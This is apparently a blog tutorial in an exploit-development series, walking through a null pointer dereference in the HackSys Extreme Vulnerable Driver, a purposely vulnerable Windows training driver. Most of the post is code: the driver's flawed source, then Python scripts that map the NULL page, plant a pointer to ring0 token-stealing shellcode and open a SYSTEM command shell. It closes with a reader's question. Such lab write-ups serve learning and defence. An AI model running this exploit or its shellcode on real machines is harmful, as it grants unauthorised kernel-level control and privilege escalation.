Overview
First of all, a happy new year. 🙂
After the exhaustive last part in this series, to start off this new year, this post will be about a lighter, more easy to understand vulnerability. A null pointer dereference vulnerability exists when the value of the pointer is NULL, and is used by the application to point to a valid memory area. Immediately, the problem is clear, as if we are able to control the NULL page, write to that location, we’d get our execution. You’d be easily able to guess here that we’d be using the same technique to allocate NULL page, and place our shellcode there as we did in the last part, so this one would rely heavily on the information from that post.
Again, huge thumbs up to @hacksysteam for the driver.
Analysis
Let’s look at the NullPointerDereference.c file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 |
NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) { ULONG UserValue = 0; ULONG MagicValue = 0xBAD0B0B0; NTSTATUS Status = STATUS_SUCCESS; PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL; PAGED_CODE(); __try { // Verify if the buffer resides in user mode ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(NULL_POINTER_DEREFERENCE)); // Allocate Pool chunk NullPointerDereference = (PNULL_POINTER_DEREFERENCE) ExAllocatePoolWithTag(NonPagedPool, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)POOL_TAG); if (!NullPointerDereference) { // Unable to allocate Pool chunk DbgPrint("[-] Unable to allocate Pool chunk\n"); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool)); DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE)); DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference); } // Get the value from user mode UserValue = *(PULONG)UserBuffer; DbgPrint("[+] UserValue: 0x%p\n", UserValue); DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference); // Validate the magic value if (UserValue == MagicValue) { NullPointerDereference->Value = UserValue; NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback; DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value); DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback); } else { DbgPrint("[+] Freeing NullPointerDereference Object\n"); DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference); // Free the allocated Pool chunk ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG); // Set to NULL to avoid dangling pointer NullPointerDereference = NULL; } #ifdef SECURE // Secure Note: This is secure because the developer is checking if // 'NullPointerDereference' is not NULL before calling the callback function if (NullPointerDereference) { NullPointerDereference->Callback(); } #else DbgPrint("[+] Triggering Null Pointer Dereference\n"); // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability // because the developer is not validating if 'NullPointerDereference' is NULL // before calling the callback function NullPointerDereference->Callback(); #endif |
The code clearly states that a magic value (0xBAD0B0B0) is being compared to the user value, and if they are not same, then the NullPointerDereference is being set to NULL. We can see that in the secure version, there’s a check to see if the NullPointerDereference is set to NULL or not.
A short analysis in IDA shows the same non-paged pool with tag ‘Hack‘, our magic value, and an interesting offset of 0x4, which is where we’d be writing the pointer to our shellcode.
Also, we get an IOCTL of 0x22202b for this.
Exploitation
Let’s start with our skeleton script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
import ctypes, sys, struct from ctypes import * from subprocess import * def main(): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(-1) buf = "\xb0\xb0\xd0\xba" bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x22202b, buf, bufLength, None, 0, byref(c_ulong()), None) if __name__ == "__main__": main() |
Our magic value doesn’t trigger any exception, as expected. Now let’s try giving something apart from our magic value.
An exception is raised this time. Fortunately, our machine continues to work fine without any crashes, so that just saves some time. Thanks to that Try/Except block in the code. 🙂
Now, I’d just borrow the code to allocate NULL page from our previous post, and why we are able to do it is also explained there. The subtle change here would be the offset of 0x4 from the start of the NULL page.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
import ctypes, sys, struct from ctypes import * from subprocess import * def main(): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(-1) shellcode = id("\x90" * 4) + 20 null_status = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(c_void_p(0x1)), 0, byref(c_ulong(0x100)), 0x3000, 0x40) if null_status != 0x0: print "\t[+] Failed to allocate NULL page..." sys.exit(-1) else: print "\t[+] NULL Page Allocated" if not kernel32.WriteProcessMemory(0xFFFFFFFF, 0x4, shellcode, 0x40, byref(c_ulong())): print "\t[+] Failed to write at 0x4 location" sys.exit(-1) buf = '\x37\x13\xd3\xba' bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x22202b, buf, bufLength, None, 0, byref(c_ulong()), None) if __name__ == "__main__": main() |
Perfect, our shellcode’s pointer is written to the 0x4 location, and shellcode perfectly resides in that location.
Now, we can borrow the final shellcode from previous post, fix the recovery in the end of the shellcode, and just see what happens. Final exploit should look like:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 |
import ctypes, sys, struct from ctypes import * from subprocess import * def main(): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(-1) #Defining the ring0 shellcode and loading it in VirtualAlloc. shellcode = bytearray( "\x90\x90\x90\x90" # NOP Sled "\x60" # pushad "\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET] "\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET] "\x89\xC1" # mov ecx, eax (Current _EPROCESS structure) "\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET] "\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID) "\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] "\x2D\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET "\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx "\x75\xED" # jnz "\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET] "\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx "\x61" # popad "\xC3" # ret ) ptr = kernel32.VirtualAlloc(c_int(0), c_int(len(shellcode)), c_int(0x3000),c_int(0x40)) buff = (c_char * len(shellcode)).from_buffer(shellcode) kernel32.RtlMoveMemory(c_int(ptr), buff, c_int(len(shellcode))) print "[+] Pointer for ring0 shellcode: {0}".format(hex(ptr)) #Allocating the NULL page, Virtual Address Space: 0x0000 - 0x1000. #The base address is given as 0x1, which will be rounded down to the next host. #We'd be allocating the memory of Size 0x100 (256). print "\n[+] Allocating/Mapping NULL page..." null_status = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(c_void_p(0x1)), 0, byref(c_ulong(0x100)), 0x3000, 0x40) if null_status != 0x0: print "\t[+] Failed to allocate NULL page..." sys.exit(-1) else: print "\t[+] NULL Page Allocated" #Writing the ring0 pointer into the desired location in the mapped NULL page, so as to call the pointer @ 0x4. print "\n[+] Writing ring0 pointer {0} in location 0x4...".format(hex(ptr)) if not kernel32.WriteProcessMemory(0xFFFFFFFF, 0x4, byref(c_void_p(ptr)), 0x40, byref(c_ulong())): print "\t[+] Failed to write at 0x4 location" sys.exit(-1) buf = '\x37\x13\xd3\xba' bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x22202b, buf, bufLength, None, 0, byref(c_ulong()), None) print "\n[+] nt authority\system shell incoming" Popen("start cmd", shell=True) if __name__ == "__main__": main() |
1ⁿ0000000000000000
how did you find the “UserValue” address to write your “\x37\x13\xd3\xba” hex code ?